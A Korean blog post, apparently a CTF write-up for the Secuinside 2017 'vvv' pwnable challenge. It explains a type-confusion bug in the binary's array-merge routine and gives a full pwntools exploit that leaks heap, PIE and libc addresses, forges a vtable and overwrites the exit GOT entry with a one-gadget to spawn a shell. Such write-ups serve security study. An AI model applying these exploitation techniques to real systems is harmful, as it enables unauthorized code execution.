ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Secuinside 2017 vvv
    Pwnable/CTF 2018. 5. 13. 20:23

    VVV는 배열들을 구현하는 프로그램이다.


    Native array

    NativeInt array

    String

    Big Int

    Small Int


    위와 같이 5개가 있다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    0x1000 { 0x100010000x17 NativeArray
        NativeArray* vtable
        int32_t argument_cmd_1000
        int32_t two 12
        int64_t array_size 16
        int64_t size 24
        char* array_size_heap[] 32
    }
     
    0x1000 { 0x10001000else NativeIntArray
        NativeIntArray* vtable
        int32_t argument_cmd_1000
        int32_t one 12
        int64_t array_size 16
        int64_t size 24
        char* array_size_heap[] 32
    }
     
    0x2000 { 0x20002000 string
        String* vtable 0
        int32_t argument_cmd_2000 8
        int32_t . 12
        char* strlen_heap 16
        int64_t strlen 24
    }
     
     
    0x3000 { 0x30003000 BigNumber (cmd > 0x80000000)
        BigNumber* vtable 0
        int32_t argumunt_cmd_3000 8
        int32_t . 12
        int64_t argument_cmd_save_number 16
    }
     
    else {
    int 4104[] set
    }
     
     
     
     
     

    cs

    (구조체를 따로 정리를 하다가 귀찮아서 아이다만 참고하면서 풀어 가지고 중간 중간에 추가하지 않은 부분이 있을 수 있습니다.) 



    간단하게 취약점을 설명하자면 0x17 -> 0x77이 계산 기능인데 이 부분에서  ar0, ar1을 입력받을때 ar0은 type check를 하는데 ar1은 type check를 안 해서 릭을 할때나 공격을 할 때 쓸수있다.


    이 문제에서 가장 큰 취약점은 배열들을 합치는 기능이 있는데 그 곳에서 생긴다. (0x17 -> 0x33) 


    첫 번째 인덱스에서는 NativeArray를 체크, 두 번째 인덱스에서는 Native만 체크를 한다.

    여기서 보면 딱히 문제가 될게 없어 보이지만 create부분을 보면 NativeInt는 배열 하나의 인덱스당 4byte로 나눠서 만든다.


    근데 합치는 기능에서는 8byte로 나누고, 8*array_size를 해서 만들기 때문에 type confusion 취약점이 생긴다.


    type confusion을 이용하여서 Native size_heap에 추가 -> NativeArray로 만들고 -> 계산 기능을 이용 하여서 릭을 할 수 있다.


    공격도 위와 같이 type confusion을 쓰고 smallInt가 저장되는 pie + 0x4104 배열로 돌려서 fake vtable을 짜고 vtable을 String으로 돌려서 exit got에 원샷을 복사 하게 만들었다. 



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    from pwn import *
    import sys
    p=process('./vvv')
     
    def NativeArray(size):
        p.send('\x20')
        p.send('\x00\x10\x00\x10')
        p.send('\x17')
        p.send(size)
        p.recv()
     
    def NativeInt(size):
        p.send('\x20')
        p.send('\x00\x10\x00\x10')
        p.send('\x20')
        p.send(size)
        p.recv()
     
    def String(data):
        p.send('\x20')
        p.send('\x00\x20\x00\x20')
        p.sendline(data)
        p.recv()
     
    def BigNum(num):
        p.send('\x20')
        p.send(num)
     
    def calc(BigInt,target,cmd):
        p.send('\x17')
        p.send('\x77')
        p.send(BigInt)
        p.send(target)
        p.send(cmd)
     
    def view(idx):
        p.send('\x17')
        p.send('\x22')
        p.send(idx)
     
    def NativeInt_sub(NativeNum,NativeAr,size):
        p.send('\x17')
        p.send('\x13')
        p.send(NativeNum)
        p.send(NativeAr)
        p.send(size)
     
    def NativeArray_sub(NativeAr,All,size):
        p.send('\x17')
        p.send('\x37')
        p.send(NativeAr)
        p.send(All)
        p.send(size)
     
    def Native_InAr(NativeAr,Native):
        p.send('\x17')
        p.send('\x33')
        p.send(NativeAr)
        p.send(Native)
     
    def Sub_Native(Native,idx): #Native->sub -> New global_Array
        p.send('\x17')
        p.send('\x11')
        p.send(Native)
        p.send(idx)
     
    def smallInt(Num):
        p.send('\x20')
        p.send(Num)
     
    NativeArray(p64(0x10))
    NativeInt(p64(0x10))
    String('AAAA')
    BigNum('\x00\x00\x00\x81')
    #init allocate array !! 0 native 1 native_int 2 string 3 bignumber
    calc(p64(0x3),p64(0x2),'\x01')
    view(p64(0x3))
    p.recvuntil('[3]\n[')
    heap = int(p.recvuntil(']').split(']')[0]) - 0x81000000 - 0x13350
    print hex(heap)
     
    NativeInt_sub(p64(0x1),p64(0x0),p64(0x12))
    BigNum('\x00\x00\x00\x81'#4 bignumber
    NativeArray_sub(p64(0),p64(1),p64(0xf))
     
    Native_InAr(p64(0),p64(1)) #5
    Sub_Native(p64(5),p64(0x1a)) #6
    calc(p64(4),p64(6),'\x01')
    view(p64(4))
    p.recvuntil('[4]\n[')
    pie = int(p.recvuntil(']').split(']')[0]) - 0x81000000 - 0x24e2
    print hex(pie)
    #pie leak !!
    calc(p64(4),p64(6),'\x02'#0x81000000
     
    NativeInt_sub(p64(0x1),p64(0x0),p64(0x12))
    String(p64(pie+0x203f38-0x10)) #7
    NativeArray_sub(p64(0),p64(1),p64(0xf))
    Native_InAr(p64(0),p64(1)) #8
    Sub_Native(p64(8),p64(0x20)) #9 -> exit_got - 0x10
     
    calc(p64(4),p64(9),'\x01')
    view(p64(4))
    p.recvuntil('[7]\n[')
    exit = int(p.recvuntil(']').split(']')[0]) - 0x81000000
    libc_base = exit - 0x3a030
    print hex(exit)
    print hex(libc_base)
    calc(p64(4),p64(9),'\x02')
    sleep(1)
    NativeArray(p64(2)) #10
    sleep(1)
    NativeInt(p64(0x10)) #11
    sleep(2)
    NativeInt_sub(p64(0xb),p64(0),p64(0x12))
    String(p64(heap+0x12c28)) #12
    '''
    BigNum('\x00\x90\x00\x90') #13
    BigNum('\x00\x00\x00\x81') #14
    BigNum('\03\x00\x00\x81') #15
    calc(p64(15),p64(14),'\x02')
    calc(p64(13),p64(15),'\x04')
    calc(p64(14),p64(4),'\x02')
    '''
    Native_InAr(p64(0),p64(0xb)) #13
    Sub_Native(p64(13),p64(0x20)) #14
     
    smallInt(p64(pie+0x203c40)[0:4])
    smallInt(p64(pie+0x203c40)[4:])
    smallInt(p32(0x30003000))
    smallInt(p32(0))
    smallInt(p64(pie+0x203f38)[0:4])
    smallInt(p64(pie+0x203f38)[4:])
    #fake vtable set
    smallInt(p32(0x50))
    smallInt(p32(0x0))
    smallInt(p64(libc_base+0xf02a4)[0:4])
    smallInt(p64(libc_base+0xf02a4)[4:])
    sleep(2)
    NativeInt(p64(0x10)) #15
    print 'SLEEP ...'
    = p.recv(1024)
    print a
    if 'Box index : [15]' not in a:
        sys.exit()
    print 'Success'
    sleep(1)
    NativeInt_sub(p64(15),p64(0),p64(0x12))
    sleep(2)
    String(p64(heap+0x12c48)) #16
    Native_InAr(p64(0),p64(15)) #17
    Sub_Native(p64(17),p64(0x20)) #18
    calc(p64(14),p64(18),'\x01')
     
    p.send('\x01')
     
    p.interactive()
    cs


    (으 .. 코드가 드럽다 ..)

    'Pwnable > CTF' 카테고리의 다른 글

    Codegate 2018 7ameBOX1  (0) 2018.05.21
    RCTF 2018 Write up  (2) 2018.05.21
    Codegate 2017 JsWorld  (0) 2018.05.10
    Codegate 2018 Final  (0) 2018.04.10
    Codegate 2017 final VM  (0) 2018.03.22
Designed by Tistory.